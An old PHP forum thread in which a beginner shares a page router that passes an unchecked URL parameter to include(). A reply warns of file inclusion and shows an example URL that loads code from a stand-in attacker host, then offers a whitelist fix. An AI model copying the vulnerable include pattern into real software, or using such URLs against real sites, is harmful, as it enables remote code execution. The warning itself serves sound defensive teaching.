JewDew4 Posted December 22, 2007 Share Posted December 22, 2007 Hey guys. I'm kinda newbish in PHP but i've managede to creat the following: <?php $side = $_GET['site']; $sti = $side . ".php"; if ($side=="" || !$side){ include("home.php"); } else if(!is_file($sti)) { include ("error.php"); } else { $side = $side.".php"; include ($side); } ?> you then open the site with this link: <a href="<? echo $_SERVER['PHP_SELF'] . "?site=NAVN"; ?>" class="class">Link tekst</a> Now i need to open 2 files with just 1 link. The folders is the main folder and a subfolder. In the main folder the text files, menu file, coding site are. In the subfolder the header files are. Why do I wanna do this? I'm using z-index and a div to place my header above some graphics on the site so it looks nicer. I now want to open the text in the normal cell in my table where it's supposede to be and then have the header fitting to the site on top. If you understand me? Hope some one can help me out here. Because I'm really in need of an answer and I've tryede Google it, but I don't know how the hell to search for the answer. Merry Christmas! Regards. PS: Sorry if you don't understand some of the words in the code - but it's Danish ^^ Quote Link to comment https://forums.phpfreaks.com/topic/82817-open-to-files-with-one-link/ Share on other sites More sharing options...
Orio Posted December 22, 2007 Share Posted December 22, 2007 This whole method of choosing pages is very very risky... You can get you site hacked easily by having scripts made out like that. Take this example- Someone writes into the url: your-domain.com/index.php?site=http://i-am-a-bad-hacker.com/virus This way, you'll have "http://i-am-a-bad-hacker.com/virus.php" included, and I believe that by now you've understood what the consequences can be... You should give this a whole new structure: <?php if(!isset($_GET['site']) || empty($_GET['site'])) include("home.php"); switch($_GET['site']) { case "NAVN": case "some-page": case "site-map": //etc- all of your pages include($_GET['site'].".php"); break; default: include("error.php"); } ?> Orio. Quote Link to comment https://forums.phpfreaks.com/topic/82817-open-to-files-with-one-link/#findComment-421189 Share on other sites More sharing options...
JewDew4 Posted December 22, 2007 Author Share Posted December 22, 2007 I knew about that way to structur the site. But as I told I'm kinda newbish still ^^ But if I use your way to creat the PHP code I'm in need of a page explaning how that stuff work or a little walkthrough to tell me how my links would look like and stuff? I've seen one of my friends using that way of linking but never really understod it. Thank you for your reply! Very useful! Quote Link to comment https://forums.phpfreaks.com/topic/82817-open-to-files-with-one-link/#findComment-421202 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.